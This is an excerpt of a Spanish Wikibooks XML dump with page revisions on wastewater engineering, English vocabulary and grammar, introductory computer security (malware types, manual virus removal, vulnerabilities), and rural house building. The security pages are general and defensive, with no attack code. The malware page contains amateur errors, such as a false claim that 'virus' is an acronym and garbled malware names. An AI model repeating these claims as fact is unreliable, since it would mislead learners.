    <ns>0</ns>
    <id>8560</id>
    <revision>
      <id>429955</id>
      <parentid>423876</parentid>
      <timestamp>2026-08-02T09:25:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>categorizando mediante estantes</comment>
      <origin>429955</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1302" sha1="4sk933mtt26xy7dqyl5q4plaiyfnxem" xml:space="preserve">__NOTOC__
{|cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;width:90%; background:#fff&quot; align=&quot;center&quot;

{|cellpadding=&quot;0&quot; style=&quot;width:100%&quot; 
|style=&quot;background:#E5F5FF; border: solid #96C4E3 3px;padding: 10px&quot; valign=&quot;top&quot; |
&lt;p style=&quot;font-size: 300%;line-height: 95%; text-align:center&quot;&gt;'''Ingeniería de aguas residuales'''&lt;/p&gt;
[[Imagen:WaterPollutionDeûleLille2008.jpg|center|270px]]

&lt;p style=&quot;font-size: 100%;margin:15px;text-align:justify&quot;&gt;'''&lt;big&gt;Introducción: &lt;/big&gt;'''{{:Ingeniería de aguas residuales/Introducción}}&lt;/p&gt;
|rowspan=&quot;4&quot; style=&quot;padding:15px; width:310px; background:#FFF4ED; border: solid #F2CEB6 3px&quot; valign=&quot;middle&quot;|
{{:Ingeniería de aguas residuales/Índice}}
|----
|height=&quot;25&quot; style=&quot;padding:0px 10px; text-align:right; background:#96C4E3; border: solid #96C4E3 3px&quot;|[[Ingeniería de aguas residuales/Índice|&lt;big&gt;Índice detallado de este curso&lt;/big&gt;]]
|----
|height=&quot;25&quot; style=&quot;padding:0px 10px; text-align:right; background:#96C4E3; border: solid #96C4E3 3px&quot;|[[Ingeniería de aguas residuales/Enlaces|&lt;big&gt;Enlaces útiles&lt;/big&gt;]]
|----
|height=&quot;25&quot; style=&quot;padding:0px 10px; text-align:right; background:#96C4E3; border: solid #96C4E3 3px&quot;|[[Ingeniería de aguas residuales/Versión para imprimir|&lt;big&gt;Texto completo de este curso&lt;/big&gt;]]
|}
|}
{{Estantes|Ingeniería Civil}}</text>
      <sha1>4sk933mtt26xy7dqyl5q4plaiyfnxem</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/De negocios</title>
    <ns>0</ns>
    <id>8815</id>
    <revision>
      <id>429836</id>
      <parentid>353196</parentid>
      <timestamp>2026-08-01T22:03:51Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429836</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="943" sha1="9fnt9mxchas4acat56zg3rkxb34c94j" xml:space="preserve">== International Trade - Comercio Internacional ==
{| border=&quot;1&quot; align=&quot;center&quot;
!Inglés
!Español
|-
|Trade
|Comercio
|-
|Customhouse
|Aduana
|-
|Customs Officer
|Oficial de Aduanas
|-
|Customs Broker
|Agente Aduanal
|-
|Importer
|Importador
|-
|Exporter
|Exportador
|-
|Duty Deferral
|Programa de diferimiento de aranceles
|-
|Duty
|Derechos (por pagar)
|-
|Tax
|Impuestos
|-
|VAT (Value Added Tax)
|Impuesto al valor agregado (Mexico)
|-
|Sales Tax
|Impuesto sobre ventas
|-
|Incoterm
|Termino internacional de venta
|-
|Frontier
|Frontera
|-
|BASC (Business Anti-Smuggling Coalition)
|La Coalición Empresarial Anti-Contrabando
|-
|NAFTA (North American Free Trade Agreement)
|Tratado de Libre Comercio de América del Norte
|-
|FTA (Free Trade Agreement)
|Tratado de Libre Comercio
|-
|Quotation
|Cotización
|-
|Offer
|Oferta
|-
|Freight
|Flete
|-
|Delivery time
|Plazo de entrega
|


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>9fnt9mxchas4acat56zg3rkxb34c94j</sha1>
    </revision>
    <revision>
      <id>429877</id>
      <parentid>429836</parentid>
      <timestamp>2026-08-01T22:09:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429877</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="903" sha1="7tbq0f11tb710y04xdtlek3mr1tss89" xml:space="preserve">== International Trade - Comercio Internacional ==
{| border=&quot;1&quot; align=&quot;center&quot;
!Inglés
!Español
|-
|Trade
|Comercio
|-
|Customhouse
|Aduana
|-
|Customs Officer
|Oficial de Aduanas
|-
|Customs Broker
|Agente Aduanal
|-
|Importer
|Importador
|-
|Exporter
|Exportador
|-
|Duty Deferral
|Programa de diferimiento de aranceles
|-
|Duty
|Derechos (por pagar)
|-
|Tax
|Impuestos
|-
|VAT (Value Added Tax)
|Impuesto al valor agregado (Mexico)
|-
|Sales Tax
|Impuesto sobre ventas
|-
|Incoterm
|Termino internacional de venta
|-
|Frontier
|Frontera
|-
|BASC (Business Anti-Smuggling Coalition)
|La Coalición Empresarial Anti-Contrabando
|-
|NAFTA (North American Free Trade Agreement)
|Tratado de Libre Comercio de América del Norte
|-
|FTA (Free Trade Agreement)
|Tratado de Libre Comercio
|-
|Quotation
|Cotización
|-
|Offer
|Oferta
|-
|Freight
|Flete
|-
|Delivery time
|Plazo de entrega
|


{{AutoCat}}</text>
      <sha1>7tbq0f11tb710y04xdtlek3mr1tss89</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/El pasado</title>
    <ns>0</ns>
    <id>9650</id>
    <revision>
      <id>429806</id>
      <parentid>196258</parentid>
      <timestamp>2026-08-01T22:00:14Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429806</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2166" sha1="ffmljv3r76qrz9jo08e4q999vs5xctw" xml:space="preserve">

'''La forma larga''': He was not a farmer. They were not farmers (Él no era un granjero. Ellos no eran granjeros)

'''La otra forma''': He wasn't a farmer. They weren't farmers

Es decir que se le saca la '''o''' y se le pone un ' : wasn't, weren't

Y para la forma larga se le agrega not (separado): was not, were not

En la traducción sea wasn't o was not, '''es lo mismo solo que abreviado'''

Espero que se entienda porque es muy fácil...

==Reglas==


# Para formar el pasado, en el idioma inglés los verbos cambian respecto a su forma en infinitivo. (No ocurre con el pasado lo mismo que con el futuro, que se forma anteponiendo un auxiliar'''Will-''', si la accion a cometer es espontanea, de otro modo se utiliza el modo de futuro &quot;be going to&quot;, al verbo principal en su forma en infinitivo).
# De acuerdo con estos cambios que sufren en el pasado, los verbos se clasifican en dos grandes grupos:
##VERBOS REGULARES
##VERBOS IRREGULARES
# '''Verbos regulares''' son aquellos que añaden la terminación '''ed''' o '''d''', en caso de que el verbo termine en vocal, a su forma en infinitivo, omitiendo la partícula '''to'''.
# '''Verbos irregulares''' son aquellos que no añaden '''ed''' o '''d''' y no se sujetan por tanto a una forma determinada


*Ejemplo de '''VERBO REGULAR'''
**Infinitivo: '''to call''' (llamar)
**Pretérito: '''called''' (llamé, llamaba)
**Participio pasado: '''called''' (llamado)


*Ejemplo de '''VERBO IRREGULAR'''
**Infinitivo: '''to see''' (ver)
**Pretérito: '''saw''' (ví, veía)
**Participio pasado: '''seen''' (visto)


A primera vista y sin entrar en el complicado camino de las reglas gramaticales, vemos que tratándose de VERBOS REGULARES la cosa se presenta muy fácil.

En efecto: basta tener presente que...

sí para hablar en presente decímos:

*'''I work''' (Yo trabajo)
*'''You travel''' (Usted viaja)
*'''He arrives''' (El llega)

...para hablar en pasado diremos:

*'''I worked''' (Yo trabajé)
*'''You travelled''' (Usted viajó)
*'''He arrived''' (El llegó)

Falta tan sólo saber cuáles son los verbos regulares y cuáles los irregulares, cosa que no hay más remedio que aprenderse.

{{AutoCat}}</text>
      <sha1>ffmljv3r76qrz9jo08e4q999vs5xctw</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Malware</title>
    <ns>0</ns>
    <id>11236</id>
    <revision>
      <id>429780</id>
      <parentid>291806</parentid>
      <timestamp>2026-08-01T21:33:32Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429780</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4137" sha1="j9arm11dhw5nt43ex2s784osmdz3jvl" xml:space="preserve">=Malware=
Es técnicamente todo programa que compromete los datos del usuario o daña el sistema operativo del computador, este se divide en:

==Virus==
Si bien su nombre no tiene que ver con los virus biológicos (uno significa &quot;Archivos del Sistema Bajo Acoso&quot; y el otro &quot;veneno&quot; en latín) hacen casi exactamente lo mismo: inserta su código a un archivo específico que al ejecutarse busca otros archivos que infectar.

La manera en la que infectan es:
===Sobreescritura===
El virus sustituye una cantidad de datos por su código de base
. Los archivos se componen de intervalos de información que se miden en Bytes, megas, o gigas. Un virus puede infectar el principio o final del archivo, y la cantidad de datos sobreescritos dependerá del código, De esta manera el archivo no cambia de tamaño, pero puede haber pérdida de datos.

===Insercción.===
El virus no toca los datos del archivo. Solmamente agrega su código al inicio o final de este, el archivo aumentará de tamaño de manera proporcional al código vírico.

===Prácticas de ocultamineto===
Una manera de ocultar las acciones de un virus era alterar la Entrada/Salida de los datos entre el ususario y el ordenador, por ejemplo:
Command.Com, digamos 512 bytes antes de ser infectado. Al infectarse, su tamaño es de 638 bytes.
Un virus está programado para que durante su actividad, cada vez que el usuario trate de ver las propiedades del Command.com, las intercepta, y las sustituye por 512 bytes.

Otra técnica es la encriptación, un antivirus busca una cadena de X bytes ya prefijado de 0/1 o en hexadecimal, cuando un virus se encripta, los datos son completamente distintos, y por lo tanto el resultado es que el antivirus no descubre nada.
Este punto es importante, ya que la eficiencia de detección de virus no es solamente detectando los códigos &quot;crudos&quot;, un antivirus que no detecte un virus comprimido en Zip, indica que puede llegar a ser eludido y que su sistema de heuristica no será efectivo.
El polimorfismo es una encriptación nueva cada infección, y por lo tanto, un antivirus puede ser eludido.
Sin embargo, las practicas &quot;aleatorias&quot;, no son del todo infinitas, por ejemplo, un virus puede ter... ¡Seis millones de mutaciones!. Pero el motor del antivirus debe de saber desencriptar todas en un corto plazo de tiempo.

===Futuro===
Los virus ya no son tantos como antes. Han caido y han sido superados por los Gusanos y Troyanos.

==Gusano==
Articulo principal: [[Seguridad informática/Malware/Gusano_De_Internet|Gusano de Internet]] 

Son programas completos, que tienen a direfencia de los virus, no se insertan en archivos, residen en la memoria (en pocas palabras, se copian en el disco duro del ordenador infectado). Su area de trabajo es en el internet, donde tienden a tratar de copiarse a otros ordenadores.

==Troyano==
Casi idéntico que el gusano, pero este engaña al usuario, algunos funcionan como cualquier programa (v. g. un procesador de textos) pero a la vez cumplen su maldad.

==Spyware==
Parecido al troyano en cuanto a la instalación, pero se encarga de mandar información de la víctima.

==Jokes==
En español: bromas, son solo bromas, finjen dañar el equipo pero es muy molesto para los usuarios.

==RootKit==
Permiten ocultar cualquier cosa: procesos, usuarios, archivos. Son difíciles de detectar cuando se ejecutan, y solo se detectan accediendo al disco desde otro sistema operativo. Modifican muchos archivos del sistema, y sus detectores son algo mediocres, ya que solo ven las diferencias de los sistemas operativos comparando uno saludable, y uno actual.

==Banker y Bancos==
Son dos troyanos que tiene la cualidad de que al detectar una página de banca en linea, falsifica su página y roba los datos.
Durante la redacción de estas lineas, un ladrón de cuentas llamado KardPhiser apareció: Este finge ser un sistema de activación de Windows XP, y entre las preguntas, figura los números de tarjeta de crédito...

==Stealth==
Era una vieja tecnología de los virus MS-dos para burlar los antivirus.

==Polimorfismo==
Se trata de como un virus cambia su código de detección.

{{AutoCat}}</text>
      <sha1>j9arm11dhw5nt43ex2s784osmdz3jvl</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Desinstalar virus manualmente</title>
    <ns>0</ns>
    <id>11238</id>
    <revision>
      <id>429776</id>
      <parentid>223895</parentid>
      <timestamp>2026-08-01T21:33:10Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429776</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6251" sha1="a2b6pz12ichhwprpgdcryo7enxevh1y" xml:space="preserve">Para borrar un virus 100% se requiere:

Un editor de registro

Un administrador de procesos.

Un antivirus.


=Editor de registro.=

Actualmente hay virus que ejecutan un script que impide el uso del &quot;regedit&quot;, para identificarlo, al ejecutar &quot;regedit&quot; aparecerá un mensaje:

 El administrador ha desabilitado la edición del registro

O simplemente, unos cuantos segundos después, este se cierra, o se cambia de lugar.

Por esa razón, hay que buscar un editor optativo, RegAlyzer es uno de estos. Este editor lo usaremos para borrar las entradas generadas por el virus.

Un disco de instalación de windows, todos los drivers correspondientes del hardware y sus discos de arranque, igual copias de seguridad, si acaso se dañara el Sistema.

=Administrador de procesos=

De igual forma, los virus pueden deshabilitar el administrador de procesos de Windows, casi de la misma forma que del editor del registro, por lo que un administrador de procesos externo será necesario para cerrar al virus y continuar con la limpieza.

=Un antivirus=
Esto es para lo último, para buscar alguna resistencia del virus e incluso reparar sus daños, esto va por su cuenta.
Hay que tomar en cuenta que si hacemos uso de Internet para descargar un antivirus, sea de un sitio oficial, ya que esto nos asegura que el software es el que ofrece el desarrollador originalmente y no ha sido alterado.

=Procedimiento=
==Identificación==
¿Que es lo va a combatir?, si ya sabe que está infectado por los mensajes del virus o por los daños que hace, o simplemente porque se copia a cualquier disquette-memoria, copie el virus, busque un ordenador con un Antivirus actualizado y, sin ejecutar el virus, introduzca la memoria y ordénele al antivirus que lo analize, este puede decirle que es. ¿Y si no encuentra nada?, Mande una copia a un grupo de antivirus para analizar la amenaza... y luego continue con los pasos siguientes.

==Documentación==
Suponiendo que su infección ya ha sido reconocida, busque en una enciclopedia los daños que ocaciona o sus actividades, y tome sus medidas.

==Preparación==

Busque un ordenador limpio y bajese todos sus programas nombrados anteriormente (editor de registro, de procesos y antivirus), si su máquina infectada no tiene conexión a internet, descargue también las definiciones más recientes de su antivirus, si el virus modifica las políticas del sistema, busque en la documentación las claves de registro originales o búsquelas en un equipo limpio, y escriba en el block de notas las claves correctas:

 Windows Registry Editor Version 5.00

 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
 &quot;DisableRegistryTools&quot;=dword:00000000

Debido a que cada virus es único, (excepto sus variantes A, B, C, D, [...] AZ, BI...), no se incluye todas las claves de registro que pueden ser modificadas, vea la documentación del virus, algunas páginas ya tienen los .reg hechos para reparar el registro.
Como vemos, este es un ejemplo de lo que contiene un archivo *.reg, guardelo con un nombre especial (pero que no contenga las palabras  vir, antivir), como &quot;registro reparado.reg&quot;.

Grabe en un disco todos los programas, tratando de no ponerle un nombre como &quot;Antivirus&quot; o que contenga una subcarpeta con ese nombre.

==Limpieza del equipo==

Como algunos virus están vigilando los procesos del sistema, estos desactivan algún proceso con un nombre de una marca o que diga &quot;antivir&quot; o &quot;vir&quot;, por lo que cualquier capeta o programa será cerrado, si copia la instalación del antivirus ahora, el Virus puede impedir su ejecución y hasta borrarlo, por lo que usaremos el adimistrador de tareas nuestro.

===Breve diagnóstico===

Si su virus es uno que &quot;Modifica el registro para ejecutarse cada vez que uno abre un exe, pif, src&quot;, y tiene las claves de registro origninales, pero impide la combinación de este, así que vamos al opciones de carpeta en el explorador de windows, luego seleccionamos &quot;Tipos de archivos registrados&quot; y buscamos la extensión REG. La editamos y editamos el campo &quot;Combinar&quot;, e introducimos

 regedit.exe &quot;%1&quot;

Luego buscamos nuestras claves de registro y hacemos click con el botón derecho, y hacemos click en &quot;Combinar&quot;, nos preguntará si de verdad queremos hacer eso, decimos que sí y esperamos... Las claves modificadas serán restauradas,  vamos al paso dos.

====Finalización de procesos====
Instalamos nuestro administrador de procesos, y matamos aquellos que correspondan al virus, y vayamos al registro.

====Edición del registro====
Instalamos nuestro editor de registro y borramos las claves de arranque del virus, que pueden estar en KHLM/Software/Microsoft/Windows/Current Version/Run, igual buscamos que no se este poniendo el programa el título de Servicio del sistema, buscando en las claves &quot;Services&quot;, y eliminando las claves correspondientes.

====Renicia el equipo====
Aquí veremos si no hay nada que siga llamando al Virus, y para que no arranque nada suyo, si no se hubiera matado antes.

====Vuelve a arrancar el administrador de tareas====
Busca cualquier actividad del virus, y si estuviera, mátala.

====Borrado====
Borra todos los archivos del virus y reinicia el equipo.

====Reinicio====
Repetimos lo del administrador de tareas y corremos el antivirus.

===Antivirus===
Si bien en el título afirma que se pueden borrar virus sin antivirus, hay cosas que estos se reservan en las definiciones, o si el virus se pone nombre aleatorio, este lo busca, y nos permite borrar todo vestigio de el.

Lo instalamos, si no contamos con internet, desde nuestro disco le instalamos sus actualizaciones, analizamos el sistema y esperamos a ver los resultados.
Posiblemente ya no detecte nada, o avise de algún archivo infectado, aquí decidiremos si borrarlo o guardarlo en cuarentena, aunque si declara que es una aplicación del gusano, puede borrarse sin nuestra orden.

====Vectores====
Son los medios de donde se puede uno infectar, ahora es cuestion de analizar todo lo que hizo contacto con la máquina infectada.

==Terminado==
Nadie dijo que quitar virus en Windows fuera fácil, y si bien ya tenemos un equipo limpio, es recomendable mantener nuestro antivirus actualizado, para evitar cualquier infección.

{{AutoCat}}</text>
      <sha1>a2b6pz12ichhwprpgdcryo7enxevh1y</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Vulnerabilidad</title>
    <ns>0</ns>
    <id>11269</id>
    <revision>
      <id>429783</id>
      <parentid>405714</parentid>
      <timestamp>2026-08-01T21:33:56Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429783</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3219" sha1="ck3so94jhhgkd3bhg577iutw3dxyn0p" xml:space="preserve">=Vulnerabilidades=

Son errores que permiten realizar desde afuera actos sin permiso del administrador del equipo, incluso se puede suplantar al usuario, actualmente, ya hay muchas amenazas que tratan de acceder remotamente a los ordenadores, ya sea para hacerlos servidores ilegales de Spam o para robar información, de los agujeros más famosos está el LSASS y el de SVSHOST, de los cuales el Sasser y Blaster se diseminaron rápidamente. El virus mas conocido es KERIN

==¿Cómo evitarlas?==

Es imposible evitar las vulnerabilidades al 100% incluso cuando tenemos operando en nuestro sistema cortafuegos, antispam, antivirus, y detectores de código maligno.

Lo que si es posible es tratar de evitarlas al máximo posible. tengamos presente que las comunicaciones en la red constan de 7 capas según el modelo OSI, y las vulnerabilidades pueden estar presentes en varias capas, o incluso dentro del núcleo de nuestro sistema operativo. No debemos imaginar que con un buen antivirus podemos estar libres de vulnerabilidades, ya que las vulnerabilidades no son solo mediante virus que estén radicando en nuestra computadora sino que también pueden llegar a ser mediante ejecución de código mientras visitemos alguna pagina web, o cuando el atacante tiene privilegios de acceso a nivel administrativo a nuestra computadora

Así que se debe tener presente que para evitar las vulnerabilidades no solamente basta con tener un antivirus y ejecutarlo de manera periódica

Lista de recomendaciones para tener nuestra computadora libre de virus:

1- -Actualice o cheque las actualizaciones cada cierto tiempo, pues eso permite casi adelantarse a cualquier peligro que se aproveche de la vulnerabilidad.

2- Activar Firewall. 
3- Programar escaneos completos del Antivirus mensuales.
4- No caer en trampas obvias como correos spam diciéndote que ganaste la lotería en un país que ni siquiera conoces
5- Si vas a descargar música, libros, programas ejecutables, etc. procura hacerlo solo de fuentes confiables
6- Vacunar unidades externas. (Genaro aportación)


Para la mayoría de los usuarios de internet estas simples recomendaciones serán suficientes y útiles

==¿Como las explotan?==


Aunque no siempre hay una regla general para explotar vulnerabilidades de los sistemas podemos describir a grandes rasgos una serie de pasos para llegar a tal cometido:

paso 1
conocer la existencia de la vulnerabilidad

paso 2
documentarse sobre las caracteristicas de la vulnerabilidad

paso 3 
conocer las caracteristicas del sistema que se va a explotar

paso 4 
conseguir acceso a ese sistema con los privilegios suficientes

una vez conseguido el acceso al sistema en cuestion, se es libre de hacer lo que se quiera hacer, es como estar operando frente al computador victima.

==¿Qué consecuencias traen?==

Simplifican un ataque, permitiendo a los crackers obtener más permisos en el equipo víctima y poder usarlo al libre albedrío, o el sistema puede ejecutar automáticamente códigos maliciosos, abrir puertos, o en algunos casos es el almacenamiento incorrecto de datos privados, como contraseñas.
Un ejemplo es el [[Seguridad informática/Remote File Inclusion|Remote File Inclusion]]

{{AutoCat}}</text>
      <sha1>ck3so94jhhgkd3bhg577iutw3dxyn0p</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Acciones comunes de los malware</title>
    <ns>0</ns>
    <id>11342</id>
    <revision>
      <id>429779</id>
      <parentid>50281</parentid>
      <timestamp>2026-08-01T21:33:27Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429779</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="484" sha1="r1ozjzzd3qr7c8qth1om1g2w68yccap" xml:space="preserve">=Acciones comunes de los malware=

*Finaliza los antivirus y firewalls, además de que se cierran las herramientas de eliminación de virus, por cuestiones obvias. Estos tampoco se inician.

*Mensajes o aplicaciones desconocidas en el panel de tareas, se desactivan las herramientas del registro y el TaskMonitor (taskmon)

*Reinicios del equipo.

*Imágenes, pantallas y pérdidas de archivos, algunos sitios de internet se desvían o no se accede correctamente a ellos.

{{AutoCat}}</text>
      <sha1>r1ozjzzd3qr7c8qth1om1g2w68yccap</sha1>
    </revision>
  </page>
  <page>
    <title>Tecnologías para el Desarrollo Rural/Cómo Construir una Casa</title>
    <ns>0</ns>
    <id>11953</id>
    <revision>
      <id>429786</id>
      <parentid>209357</parentid>
      <timestamp>2026-08-01T21:52:55Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429786</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="8920" sha1="f2bwo3pn7jb9d8bja438fd5j9o6okdb" xml:space="preserve">&lt;center&gt;&lt;big&gt;&lt;big&gt;&lt;big&gt;'''Cómo Construir una Casa&lt;/big&gt;&lt;/big&gt;&lt;/big&gt;&lt;/center&gt;&lt;br&gt;&lt;br&gt;

La construcción de casas es fundamental para el desarrollo humano, especialmente en zonas con condiciones meteorológicas extremas.

Es muy importante para la familia y el desarrollo de la sociedad, porque es el lugar donde todos vivimos y tiene que ser cómodo y saludable. Muchos tipos de casas son complicados de construir, requieren mucho conocimiento y trabajo para su realización.

Para ser una buena casa tiene que cumplir con distintas funciones:

*Proporcionar funcionalidad y seguridad a quienes la habiten. 
*En el interior de una casa se encuentra protegido del viento, el frío, el calor, la lluvia, la arena y el polvo permaneciendo fuera de ésta.
*Una casa debe durar muchos años con un mantenimiento mínimo.

Son muchas las formas de hacer una casa. En casi ningún lugar las casas se hacen igual que en otro. En los lugares más fríos las casas son más gruesas para resistir el frío y necesitan sistemas para calentarse. En los lugares más cálidos se suele construir una para de la casa bajo tierra para que conserven el fresco de la noche durante el día. En los bosques las casas se hacen con madera; en las montañas con piedra. En zonas de actividad sísmica hay que tener en cuenta los daños que la casa puede sufrir. En cada país hay normas para facilitar este trabajo.

==Clima frío==

En los climas fríos las casas necesitan &quot;aislar&quot; a los habitantes de la temperatura exterior. Esto se logra con paredes hechas con materiales y técnicas que produzcan un cerramiento que sea un buen aislante.
Al lograr un ambiente interior aislado del exterior, se necesita menos calefacción (leña, gas, keroseno, solar etc.) para mantenernos a una temperatura saludable.
Para facilitar el calentamiento pasivo por el sol hay que orientar los dormitorios más utilizados hacia la línea del ecuador (en Sudamérica, Sudáfrica y Oceanía, hacia el norte)

====Recursos para un buen aislamiento térmico:====

*Paredes exteriores y techos gruesos
*Paredes exteriores y techos rellenos de materiales con burbujas de aire (telgopor, lana de vidrio, paja, etc.)
*Paredes y techos con cámara de aire, es una doble pared con aire en el medio.
*Paredes, techos y pisos aislados del agua, si estos cerramientos se mojan pierden su capacidad aislante.
*Puertas y ventanas de doble cierre o dobles ventanas y puertas.

==Clima cálido==

En zona con altas temperaturas hay que buscar maneras de enfriar la casa. Una buena alternativa son los techos altos, habitaciones con buena ventilación, crear sombras en los patios cultivando un árbol o con techumbres ligeras incluso vivas como puede ser una enredadera sobre una malla de alambre.

==Clima con viento==

Las casas deben tener paredes robustas y sin grietas, y un techo que resista los vientos fuertes. Es poco conveniente construir en cimas de montañas muy ventosas, pues es dónde más viento hay y será más fácil que en un temporal la casa sufra daños severos.

También es muy importante un buen aislamiento, pues el cambio de temperatura entre el interior y el exterior será mucho mayor si el aire se cuela por entre las grietas de ventanas, puertas, o incluso techos y paredes construidas sin demasiadas atenciones.

==Elección de materiales==

La elección de los materiales es específica de cada región. En cada región del planeta hay abundancia de distintos materiales.

===Suelo-cemento (Tierra)===

La tierra estéril (tosca) es uno de los materiales más comunes y que requieren de menos trabajo para convertirlo en material de construcción.

====Recursos necesarios====
*Palas
*Cemento
*Prensa para ladrillos de tierra
*mínimo: 2 trabajadores/as

====Sistema constructivo====
La tierra es mezclada con una pequeña proporción de cemento (sin agua) y luego prensada en forma de ladrillos. Con el paso del tiempo el cemento absorbe la humedad del ambiente y endurece.
Se suele elegir un tamaño pequeño para los ladrillos para poder ser cargados con facilidad.

Este material no permite techos planos. Deben ser en forma de bóveda o de otro material.
Se considera que esta técnica constructiva es una de las que genera menor impacto en el medio ambiente natural.

===Ladrillo Cerámico===
El ladrillo de tierra fértil horneada, es muy popular en Latinoamérica. 
Su utilización sacrifica tierra que podría permitir el cultivo.

===Madera===
El uso de estructuras de madera tiene una larga tradición en oriente y en los Estados Unidos. Estos sistemas brindan óptimos resultados cuando se construyen muchas viviendas simultáneamente y hay madera disponible.

====Recursos necesarios====
*Piezas de madera secada de diversos tamaños
*Sierras de corte, serruchos de mano, martillos, clavos
*Mínimo: 2 trabajadores/as. Recomendado 5 trabajadores

====Sistema constructivo====
La madera se corta en listones. Con estos listones se construyen paneles (o marcos) que luego se unen para ser la estructura y el cerramiento de la casa. El marco se reviste con madera.
Los paneles resultantes pueden ser un poco pesados y necesitar más de 2 personas para moverlos.

Uno de los problemas de la madera es que se pudre si se moja con frecuencia. Resulta mucho más resistente en climas secos.
Otro problema es que la madera es combustible.

==Instalaciones==

===Retrete y letrina===

Los retretes permiten eliminar nuestros desechos (heces y orines). El retrete deben estar separado de otras habitaciones por puertas o situados en anexos exteriores, como las letrinas.

Un retrete consume mucha agua, la cuál queda contaminada cuando entra en contacto con heces y orina. Además, requiere de un posterior tratamiento, que en muchas zonas rurales es como mínimo difícil darles, y suelen acabar mezclándose con corrientes de agua potable y contaminándolas. Si carecemos de una depuradora, siempre es preferible la letrina al retrete por razones medioambientales.

La letrina se puede construir en lugares donde el espacio y el clima lo permita, preferiblemente si son letrinas secas. En poco tiempo la acción de los microorganismos transformará las heces en un complemento ideal para abonar la tierra, sin olores molestos ni filtraciones en los cursos de agua naturales. Una perfecta alternativa a las grandes depuradoras.

El retrete se suele situar en el mismo lugar que la ducha y el lavamanos. 

===Ducha y lavamanos===


===Cocina===

Para cocinar se necesita un lugar higiénico, alejado de animales o lugares sucios (especialmente tratar de separar el aseo de la cocina), y tener agua potable disponible. Es recomendable que éste lugar también esté separado por una puerta, o como mínimo alejado para que los olores fuertes no se cuelen en las estancias de descanso.

Un sistema de calefacción será más eficiente y menos peligroso si se ha estudiado bien su ubicación. Hay que pensar qué lugares se ocupan cuando hace más frío, y también tener en cuenta que las estufas de combustión consumen oxígeno

La electricidad se puede obtener de muchas maneras. Un molino de viento no debe estar situado demasiado cerca de las habitaciones de descanso, pues por las noches el ruido podría llegar a ser muy molesto. Las placas solares son indiferentes al lugar, mientras obtengan una buena iluminación. Para las turbinas o norias de agua se debe tener en cuenta las épocas de sequía, en las cuales el caudal de agua debe ser constante para que funcionen.

==Consideraciones medioambientales==

Primeramente siempre se debe tener en cuenta qué haremos con los residuos que sobren de la construcción, sobretodo si algunos de ellos son tóxicos.

Muchos de los residuos que podamos encontrar en la construcción de una casa, o rehabilitando antiguas ruinas, pueden ser utilizados como recursos. Un ejemplo en horticultura son los neumáticos viejos, que apilados y llenos de tierra pueden servir como patatal, o los cascotes rotos, que sirven de refugio a caracoles y otros animales si construimos muros con ellos.

Si se da el caso que estemos construyendo en un lugar con ruinas, o las vayamos a generar en exceso (ladrillos, tejas, bloques rotos o restos grandes de cemento), una buena opción de reciclaje es ayudarse de ellos en la construcción de elementos simples (muros bajos de separación de terreno, corrales sencillos para animales) o como relleno en la propia obras o en otras cercanas.

Todo aquello que sea imposible reciclar o usar en algún otro lugar debe quedar bien controlado. Una buena opción es colocar los residuos poco peligrosos en la cámara de aire (en la que no vamos a entrar nunca) que separa el suelo de tierra del piso de la casa. Ésa cámara de aire evita que la humedad de la tierra pueda llegar a penetrar, y además nos permite tener confinados los residuos, en vez de esparcirlos por los alrededores.


[[en:Technologies for Rural Development/Building houses]]

{{AutoCat}}</text>
      <sha1>f2bwo3pn7jb9d8bja438fd5j9o6okdb</sha1>
    </revision>
  </page>
  <page>
    <title>Tecnologías para el Desarrollo Rural/Cómo Utilizar el Agua</title>
    <ns>0</ns>
    <id>11975</id>
    <revision>
      <id>429785</id>
      <parentid>210278</parentid>
      <timestamp>2026-08-01T21:52:41Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429785</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
